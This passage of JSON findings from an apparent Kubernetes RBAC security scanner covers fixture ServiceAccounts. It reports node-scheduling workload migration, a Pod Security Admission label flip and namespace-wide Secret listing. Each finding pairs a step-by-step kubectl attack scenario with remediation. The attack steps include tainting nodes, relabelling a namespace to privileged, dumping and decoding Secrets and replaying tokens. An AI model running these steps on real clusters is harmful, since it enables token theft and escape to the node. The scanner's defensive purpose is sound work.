        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/privesc-fixtures/sa-node-migrate::nodes/status",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/privesc-fixtures/sa-node-migrate`)",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-node-migrate can `delete pods` (via ClusterRoleBinding `crb-node-migrate` → ClusterRole `cr-node-migrate`) and also `update nodes/status` (via ClusterRoleBinding `crb-node-migrate` → ClusterRole `cr-node-migrate`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-node-migrate",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-node-migrate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=sa-node-migrate -A` and `kubectl auth can-i update nodes/status --as=sa-node-migrate -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "nodes/status"
      ],
      "scope": "cluster",
      "source_binding": "crb-node-migrate",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-node-migrate",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "update",
        "patch"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=sa-node-migrate -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/rbac-fixtures/sa-cluster-admin::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/rbac-fixtures/sa-cluster-admin`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can `delete pods` (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`) and also `update nodes/status` (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=sa-cluster-admin -A` and `kubectl auth can-i update nodes/status --as=sa-cluster-admin -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-cluster-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=sa-cluster-admin -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/rbac-fixtures/sa-wildcard::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/rbac-fixtures/sa-wildcard`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-wildcard can `delete pods` (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`) and also `update nodes/status` (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=sa-wildcard -A` and `kubectl auth can-i update nodes/status --as=sa-wildcard -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-wildcard",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-wildcard",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=sa-wildcard -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-035:ServiceAccount/psaflip-fixtures/psaflip-flipper:psaflip-fixtures:namespaces",
    "rule_id": "KUBE-PRIVESC-035",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod Security Admission label flip: `ServiceAccount/psaflip-fixtures/psaflip-flipper` can relabel `psaflip-fixtures` and run a privileged pod there",
    "description": "Subject ServiceAccount/psaflip-fixtures/psaflip-flipper can `update`/`patch` the Namespace object (via RoleBinding `psaflip-fixtures/psaflip-namespace-and-pods` → Role `psaflip-fixtures/psaflip-namespace-and-pods`) and create pods (via RoleBinding `psaflip-fixtures/psaflip-namespace-and-pods` → Role `psaflip-fixtures/psaflip-namespace-and-pods`) in `psaflip-fixtures`, where Pod Security Admission currently enforces `baseline` or `restricted`.\n\nPod Security Admission decides which standard to enforce by reading the `pod-security.kubernetes.io/enforce` label on the Namespace at admission time, and nothing in-tree protects that label: it is ordinary metadata, writable by anyone who can write the namespace. A subject holding both halves sets the label to `privileged` and the next pod it creates there, privileged or mounting the host root, is admitted. The PSA lockdown the operator relies on is one label write away from gone, and no pod-level control (`securityContext`, `hostPath` denial, host namespaces) applies any more.\n\nTwo things make this grant easy to miss. The namespace write is not part of the built-in `admin` or `edit` ClusterRoles, so it usually arrives through a custom role for namespace self-service tooling, a GitOps controller, or a quota/label operator. And Namespaces look like cluster-scoped objects a namespaced Role could never touch, but the API server treats `/api/v1/namespaces/\u003cns\u003e` as a request in `\u003cns\u003e`, so a RoleBinding inside the namespace authorizes `patch namespaces` on that namespace itself.\n\nBoth halves are load-bearing, which is why this finding requires them together: the label write alone changes nothing without a pod to admit, and a pod-create grant into a `restricted` namespace is bounded to token theft (KUBE-PRIVESC-001) until the label moves.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "psaflip-flipper",
      "namespace": "psaflip-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "psaflip-namespace-and-pods",
      "namespace": "psaflip-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "psaflip-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespaces whose Pod Security Admission label the subject can rewrite and create pods in: `psaflip-fixtures`"
    },
    "impact": "Defeat Pod Security Admission in `psaflip-fixtures` with one label write, then run a privileged or host-mounting pod there and escape to the node, from a namespace the cluster's PSA posture reports as locked down.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i patch namespaces --as=psaflip-flipper -n psaflip-fixtures` and `kubectl auth can-i create pods --as=psaflip-flipper -n psaflip-fixtures`.",
      "They set `pod-security.kubernetes.io/enforce=privileged` on `psaflip-fixtures` (a `kubectl label namespace` is a `patch namespaces` request). The API server accepts it as ordinary metadata.",
      "They create a pod there with `privileged: true` or a `hostPath` mount of the node root. Pod Security Admission now reads `privileged` and admits it.",
      "From that pod they are on the node, with every co-located pod's filesystem and projected ServiceAccount token, and the kubelet's credentials."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "psaflip-fixtures",
      "resource_names": null,
      "resources": [
        "namespaces"
      ],
      "scope": "namespace",
      "source_binding": "psaflip-namespace-and-pods",
      "source_binding_kind": "RoleBinding",
      "source_role": "psaflip-namespace-and-pods",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "patch"
      ]
    },
    "remediation": "Remove `update`/`patch` on `namespaces` from identities that are not cluster administrators; where a tool must write namespace metadata, add a ValidatingAdmissionPolicy that denies changes to `pod-security.kubernetes.io/*` labels.",
    "remediation_steps": [
      "Drop `update`/`patch` on `namespaces` from ServiceAccount/psaflip-fixtures/psaflip-flipper. Label and quota tooling rarely needs the whole Namespace object; prefer giving it the specific objects it manages.",
      "Audit who else holds it, including through namespaced Roles: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]? | (.resources // [] | index(\"namespaces\")) and ((.verbs // []) | map(. == \"update\" or . == \"patch\" or . == \"*\") | any)) | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`.",
      "Add a `ValidatingAdmissionPolicy` on `namespaces` UPDATE that denies the request when any `pod-security.kubernetes.io/` label differs between `object.metadata.labels` and `oldObject.metadata.labels`, with an exception only for the platform team's identity. This keeps the PSA posture stable even if a write grant slips back in.",
      "Set the cluster-wide PSA default in the AdmissionConfiguration (`defaults.enforce: baseline` or `restricted`) so a removed label does not fall back to `privileged`, and keep the `exemptions.namespaces` list to the system namespaces.",
      "Verify with `kubectl auth can-i patch namespaces --as=psaflip-flipper -n psaflip-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/#pod-security-admission-labels-for-namespaces",
      "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-admission-controller/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Pod Security Admission (namespace labels)",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/#pod-security-admission-labels-for-namespaces"
      },
      {
        "title": "Kubernetes: Enforce Pod Security Standards with Namespace Labels",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/"
      },
      {
        "title": "Kubernetes: Pod Security Admission configuration (cluster-wide defaults and exemptions)",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-admission-controller/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Pod Security Standards / Pod Security Admission",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-005:ServiceAccount/lp-fixtures/sa-lp-wildcard:lp-fixtures:secrets",
    "rule_id": "KUBE-PRIVESC-005",
    "severity": "HIGH",
    "score": 9.839999999999998,
    "category": "data_exfiltration",
    "title": "Namespace `lp-fixtures` only list/watch access to Secrets enumerates every Secret on `ServiceAccount/lp-fixtures/sa-lp-wildcard`",
    "description": "Subject ServiceAccount/lp-fixtures/sa-lp-wildcard can `list` or `watch` core `secrets` via RoleBinding `lp-fixtures/rb-lp-wildcard` → Role `lp-fixtures/r-lp-wildcard`. Namespace `lp-fixtures` only.\n\nThe Kubernetes documentation is explicit that `list` and `watch` return Secret contents in the response body (they are not metadata-only verbs). Unlike `get` (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single `list` enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.\n\nKubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes `kube-system` ServiceAccount tokens, which are routinely cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "r-lp-wildcard",
      "namespace": "lp-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `lp-fixtures` only"
    },
    "impact": "Namespace `lp-fixtures` only enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/lp-fixtures/sa-lp-wildcard (compromised pod, leaked kubeconfig, or stolen token).",
      "They run `kubectl get secrets -o yaml` in scope and base64-decode every `data` field, harvesting all Secrets in one request.",
      "They identify Secrets of type `kubernetes.io/service-account-token` (legacy) or call the TokenRequest API with harvested credentials.",
      "They replay the highest-privileged token against the API server (`kubectl --token=\u003cjwt\u003e get clusterrolebindings`).",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "lp-fixtures",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "namespace",
      "source_binding": "rb-lp-wildcard",
      "source_binding_kind": "RoleBinding",
      "source_role": "r-lp-wildcard",
      "source_role_kind": "Role",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove `list`/`watch` on `secrets` from this subject; if a specific Secret is genuinely needed, scope a `get` by `resourceNames` to that one name.",
    "remediation_steps": [
      "Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, drop `list` and `watch` entirely and scope a `get` rule by `resourceNames` to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.",
      "Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.",
      "Verify with `kubectl auth can-i list secrets --as=sa-lp-wildcard -n lp-fixtures` returning `no`.",
      "For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed `EncryptionConfiguration`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "Datadog Security Labs — Persistence via TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-005:ServiceAccount/secrets-bundle/cross-ns-reader:secrets-bundle-target:secrets",
    "rule_id": "KUBE-PRIVESC-005",
